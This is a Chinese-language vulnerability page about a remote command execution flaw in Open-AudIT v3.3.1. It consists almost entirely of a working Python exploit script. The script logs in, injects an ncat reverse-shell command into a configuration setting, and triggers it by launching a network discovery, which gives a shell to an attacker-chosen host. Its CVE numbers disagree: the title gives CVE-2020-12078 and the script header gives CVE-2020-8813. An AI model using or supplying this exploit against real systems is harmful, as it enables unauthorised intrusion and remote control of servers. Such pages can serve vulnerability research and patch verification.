（CVE-2020-12078）Open-AudIT_v3.3.1_远程命令执行漏洞

# （CVE-2020-12078）Open-AudIT v3.3.1 远程命令执行漏洞

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一、漏洞简介
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二、漏洞影响
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Open-AudIT v3.3.1

三、复现过程
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OpenAudIT-postauth-rce.py
#!/usr/bin/python3

# Exploit Title: Open-AudIT Professional v3.3.1 Remote Code Execution
# Date: 22/04/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://opmantek.com/
# Version: v3.3.1
# Tested on: Ubuntu 18.04 / PHP 7.2.24

import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings(“ignore”, category=UserWarning, module=’bs4′)

if len(sys.argv) != 6:
print(“[~] Usage : ./openaudit-exploit.py url username password ip port”)
exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()

def inject_payload():
configuration_path = url+”/en/omk/open-audit/configuration/90″
data = ‘data={“data”:{“id”:”90″,”type”:”configuration”,”attributes”:{“value”:”;ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};”}}}’ % (ip, port)
request.patch(configuration_path, data)
print(“[+] Payload injected in settings”)

def start_discovery():
discovery_path = url+”/en/omk/open-audit/discoveries/create”
post_discovery_path = url+”/en/omk/open-audit/discoveries”
scan_name = “”.join([random.choice(string.ascii_uppercase) for i in range(10)])
req = request.get(discovery_path)

response = req.text
soup = BeautifulSoup(response, “html5lib”)
token = soup.findAll(‘input’)[5].get(“value”)
buttons = soup.findAll(“button”)
headers = {“Referer” : discovery_path}
request_data = {
“data[attributes][name]”:scan_name,
“data[attributes][other][subnet]”:”10.10.10.1/24″,
“data[attributes][other][ad_server]”:””,
“data[attributes][other][ad_domain]”:””,
“submit”:””,
“data[type]”:”discoveries”,
“data[access_token]”:token,
“data[attributes][complete]”:”y”,
“data[attributes][org_id]”:”1″,
“data[attributes][type]”:”subnet”,
“data[attributes][devices_assigned_to_org]”:””,
“data[attributes][devices_assigned_to_location]”:””,
“data[attributes][other][nmap][discovery_scan_option_id]”:”1″,
“data[attributes][other][nmap][ping]”:”y”,
“data[attributes][other][nmap][service_version]”:”n”,
“data[attributes][other][nmap][open|filtered]”:”n”,
“data[attributes][other][nmap][filtered]”:”n”,
“data[attributes][other][nmap][timing]”:”4″,
“data[attributes][other][nmap][nmap_tcp_ports]”:”0″,
“data[attributes][other][nmap][nmap_udp_ports]”:”0″,
“data[attributes][other][nmap][tcp_ports]”:”22,135,62078″,
“data[attributes][other][nmap][udp_ports]”:”161″,
“data[attributes][other][nmap][timeout]”:””,
“data[attributes][other][nmap][exclude_tcp_ports]”:””,
“data[attributes][other][nmap][exclude_udp_ports]”:””,
“data[attributes][other][nmap][exclude_ip]”:””,
“data[attributes][other][nmap][ssh_ports]”:”22″,
“data[attributes][other][match][match_dbus]”:””,
“data[attributes][other][match][match_fqdn]”:””,
“data[attributes][other][match][match_dns_fqdn]”:””,
“data[attributes][other][match][match_dns_hostname]”:””,
“data[attributes][other][match][match_hostname]”:””,
“data[attributes][other][match][match_hostname_dbus]”:””,
“data[attributes][other][match][match_hostname_serial]”:””,
“data[attributes][other][match][match_hostname_uuid]”:””,
“data[attributes][other][match][match_ip]”:””,
“data[attributes][other][match][match_ip_no_data]”:””,
“data[attributes][other][match][match_mac]”:””,
“data[attributes][other][match][match_mac_vmware]”:””,
“data[attributes][other][match][match_serial]”:””,
“data[attributes][other][match][match_serial_type]”:””,
“data[attributes][other][match][match_sysname]”:””,
“data[attributes][other][match][match_sysname_serial]”:””,
“data[attributes][other][match][match_uuid]”:””

}
print(“[+] Creating discovery ..”)
req = request.post(post_discovery_path, data=request_data, headers=headers, allow_redirects=False)
disocvery_url = url + req.headers[‘Location’] + “/execute”
print(“[+] Triggering payload ..”)
print(“[+] Check your nc ;)”)
request.get(disocvery_url)

def login():
login_info = {
“redirect_url”: “/en/omk/open-audit”,
“username”: username,
“password”: password
}
login_request = request.post(url+”/en/omk/open-audit/login”, login_info)
login_text = login_request.text
if “There was an error authenticating” in login_text:
return False
else:
return True

if login():
print(“[+] LoggedIn Successfully”)
inject_payload()
start_discovery()
else:
print(“[-] Cannot login!”)